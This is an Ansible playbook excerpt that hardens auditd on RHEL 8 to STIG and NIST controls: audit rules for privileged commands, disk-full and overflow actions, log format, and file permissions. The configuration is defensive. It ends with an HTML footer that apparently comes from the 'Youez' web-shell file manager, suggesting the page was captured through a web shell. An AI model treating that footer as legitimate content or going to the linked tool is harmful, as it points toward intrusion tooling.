  - name: Ensure auditd Collects Information on the Use of Privileged Commands - userhelper
      - Perform remediation of Audit rules for /usr/sbin/userhelper
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/sbin/userhelper -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/privileged.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/privileged.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/sbin/userhelper -F auid&gt;=1000
          -F auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/sbin/userhelper
          -F auid&gt;=1000 -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/sbin/userhelper -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_found | join(&quot;|&quot;)
          }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/sbin/userhelper -F auid&gt;=1000 -F
          auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/sbin/userhelper
          -F auid&gt;=1000 -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030315
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - audit_rules_privileged_commands_userhelper
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure auditd Collects Information on the Use of Privileged Commands - usermod
      - Perform remediation of Audit rules for /usr/sbin/usermod
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/sbin/usermod -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/privileged.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/privileged.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/sbin/usermod -F auid&gt;=1000
          -F auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/sbin/usermod -F
          auid&gt;=1000 -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/sbin/usermod -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_found | join(&quot;|&quot;)
          }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/sbin/usermod -F auid&gt;=1000 -F auid!=unset
          (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/sbin/usermod -F
          auid&gt;=1000 -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030560
    - audit_rules_privileged_commands_usermod
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Configure auditd Disk Error Action on Disk Error
    ansible.builtin.lineinfile:
      dest: /etc/audit/auditd.conf
      line: disk_error_action = {{ var_auditd_disk_error_action.split('|')[0] }}
      regexp: ^\s*disk_error_action\s*=\s*.*$
      state: present
      create: true
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030040
    - NIST-800-53-AU-5(1)
    - NIST-800-53-AU-5(2)
    - NIST-800-53-AU-5(4)
    - NIST-800-53-AU-5(b)
    - NIST-800-53-CM-6(a)
    - auditd_data_disk_error_action
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Configure auditd Disk Full Action when Disk Space Is Full
    ansible.builtin.lineinfile:
      dest: /etc/audit/auditd.conf
      line: disk_full_action = {{ var_auditd_disk_full_action.split('|')[0] }}
      regexp: ^\s*disk_full_action\s*=\s*.*$
      state: present
      create: true
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030060
    - NIST-800-53-AU-5(1)
    - NIST-800-53-AU-5(2)
    - NIST-800-53-AU-5(4)
    - NIST-800-53-AU-5(b)
    - NIST-800-53-CM-6(a)
    - auditd_data_disk_full_action
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Configure auditd mail_acct Action on Low Disk Space - Configure auditd mail_acct
      Action on Low Disk Space
    ansible.builtin.lineinfile:
      dest: /etc/audit/auditd.conf
      regexp: ^action_mail_acct
      line: action_mail_acct = {{ var_auditd_action_mail_acct }}
      state: present
      create: true
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030020
    - NIST-800-171-3.3.1
    - NIST-800-53-AU-5(2)
    - NIST-800-53-AU-5(a)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(1)
    - PCI-DSS-Req-10.7.a
    - auditd_data_retention_action_mail_acct
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Configure auditd space_left Action on Low Disk Space
    ansible.builtin.lineinfile:
      dest: /etc/audit/auditd.conf
      line: space_left_action = {{ var_auditd_space_left_action.split('|')[0] }}
      regexp: ^\s*space_left_action\s*=\s*.*$
      state: present
      create: true
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030731
    - NIST-800-171-3.3.1
    - NIST-800-53-AU-5(1)
    - NIST-800-53-AU-5(2)
    - NIST-800-53-AU-5(4)
    - NIST-800-53-AU-5(b)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.7
    - PCI-DSSv4-10.5
    - PCI-DSSv4-10.5.1
    - auditd_data_retention_space_left_action
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Configure auditd space_left on Low Disk Space
    ansible.builtin.lineinfile:
      dest: /etc/audit/auditd.conf
      line: space_left = {{ var_auditd_space_left_percentage }}%
      regexp: ^\s*space_left\s*=\s*.*$
      state: present
      create: true
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030730
    - NIST-800-53-AU-5(1)
    - NIST-800-53-AU-5(2)
    - NIST-800-53-AU-5(4)
    - NIST-800-53-AU-5(b)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.7
    - auditd_data_retention_space_left_percentage
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Include Local Events in Audit Logs
    block:

    - name: Check for duplicate values
      ansible.builtin.lineinfile:
        path: /etc/audit/auditd.conf
        create: true
        regexp: (?i)(?i)^\s*local_events\s*=\s*
        state: absent
      check_mode: true
      changed_when: false
      register: dupes

    - name: Deduplicate values from /etc/audit/auditd.conf
      ansible.builtin.lineinfile:
        path: /etc/audit/auditd.conf
        create: true
        regexp: (?i)(?i)^\s*local_events\s*=\s*
        state: absent
      when: dupes.found is defined and dupes.found &gt; 1

    - name: Insert correct line to /etc/audit/auditd.conf
      ansible.builtin.lineinfile:
        path: /etc/audit/auditd.conf
        create: true
        regexp: (?i)(?i)^\s*local_events\s*=\s*
        line: local_events = yes
        state: present
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030061
    - NIST-800-53-CM-6
    - auditd_local_events
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Resolve information before writing to audit logs
    block:

    - name: Check for duplicate values
      ansible.builtin.lineinfile:
        path: /etc/audit/auditd.conf
        create: true
        regexp: (?i)(?i)^\s*log_format\s*=\s*
        state: absent
      check_mode: true
      changed_when: false
      register: dupes

    - name: Deduplicate values from /etc/audit/auditd.conf
      ansible.builtin.lineinfile:
        path: /etc/audit/auditd.conf
        create: true
        regexp: (?i)(?i)^\s*log_format\s*=\s*
        state: absent
      when: dupes.found is defined and dupes.found &gt; 1

    - name: Insert correct line to /etc/audit/auditd.conf
      ansible.builtin.lineinfile:
        path: /etc/audit/auditd.conf
        create: true
        regexp: (?i)(?i)^\s*log_format\s*=\s*
        line: log_format = ENRICHED
        state: present
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030063
    - NIST-800-53-AU-3
    - NIST-800-53-CM-6
    - auditd_log_format
    - low_complexity
    - low_disruption
    - low_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Set type of computer node name logging in audit logs - Define Value to Be
      Used in the Remediation
    ansible.builtin.set_fact: auditd_name_format_split=&quot;{{ var_auditd_name_format.split('|')[0]
      }}&quot;
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030062
    - NIST-800-53-AU-3
    - NIST-800-53-CM-6
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.2
    - auditd_name_format
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Set type of computer node name logging in audit logs
    block:

    - name: Check for duplicate values
      ansible.builtin.lineinfile:
        path: /etc/audit/auditd.conf
        create: true
        regexp: (?i)(?i)^\s*name_format\s*=\s*
        state: absent
      check_mode: true
      changed_when: false
      register: dupes

    - name: Deduplicate values from /etc/audit/auditd.conf
      ansible.builtin.lineinfile:
        path: /etc/audit/auditd.conf
        create: true
        regexp: (?i)(?i)^\s*name_format\s*=\s*
        state: absent
      when: dupes.found is defined and dupes.found &gt; 1

    - name: Insert correct line to /etc/audit/auditd.conf
      ansible.builtin.lineinfile:
        path: /etc/audit/auditd.conf
        create: true
        regexp: (?i)(?i)^\s*name_format\s*=\s*
        line: name_format = {{ auditd_name_format_split }}
        state: present
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030062
    - NIST-800-53-AU-3
    - NIST-800-53-CM-6
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.2
    - auditd_name_format
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Appropriate Action Must be Setup When the Internal Audit Event Queue is
      Full
    block:

    - name: Check for duplicate values
      ansible.builtin.lineinfile:
        path: /etc/audit/auditd.conf
        create: true
        regexp: (?i)(?i)^\s*overflow_action\s*=\s*
        state: absent
      check_mode: true
      changed_when: false
      register: dupes

    - name: Deduplicate values from /etc/audit/auditd.conf
      ansible.builtin.lineinfile:
        path: /etc/audit/auditd.conf
        create: true
        regexp: (?i)(?i)^\s*overflow_action\s*=\s*
        state: absent
      when: dupes.found is defined and dupes.found &gt; 1

    - name: Insert correct line to /etc/audit/auditd.conf
      ansible.builtin.lineinfile:
        path: /etc/audit/auditd.conf
        create: true
        regexp: (?i)(?i)^\s*overflow_action\s*=\s*
        line: overflow_action = syslog
        state: present
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030700
    - NIST-800-53-AU-4(1)
    - auditd_overflow_action
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Test for existence /etc/audit/auditd.conf
    ansible.builtin.stat:
      path: /etc/audit/auditd.conf
    register: file_exists
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030610
    - NIST-800-53-AU-12(b)
    - configure_strategy
    - file_permissions_etc_audit_auditd
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure permission u-xs,g-xws,o-xwrt on /etc/audit/auditd.conf
    ansible.builtin.file:
      path: /etc/audit/auditd.conf
      mode: u-xs,g-xws,o-xwrt
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - file_exists.stat is defined and file_exists.stat.exists
    tags:
    - DISA-STIG-RHEL-08-030610
    - NIST-800-53-AU-12(b)
    - configure_strategy
    - file_permissions_etc_audit_auditd
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Find /etc/audit/rules.d/ file(s)
    ansible.builtin.command: find -P /etc/audit/rules.d/ -maxdepth 1 -perm /u+xs,g+xwrs,o+xwrt  -type
      f -regextype posix-extended -regex &quot;^.*rules$&quot;
    register: files_found
    changed_when: false
    failed_when: false
    check_mode: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030610
    - NIST-800-53-AU-12(b)
    - configure_strategy
    - file_permissions_etc_audit_rulesd
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Set permissions for /etc/audit/rules.d/ file(s)
    ansible.builtin.file:
      path: '{{ item }}'
      mode: u-xs,g-xwrs,o-xwrt
      state: file
    with_items:
    - '{{ files_found.stdout_lines }}'
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030610
    - NIST-800-53-AU-12(b)
    - configure_strategy
    - file_permissions_etc_audit_rulesd
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
</pre><center><br>Youez - 2016 - github.com/yon3zu<br><a href='https://linuxploit.com/' target='_blank'>LinuXploit</a></center>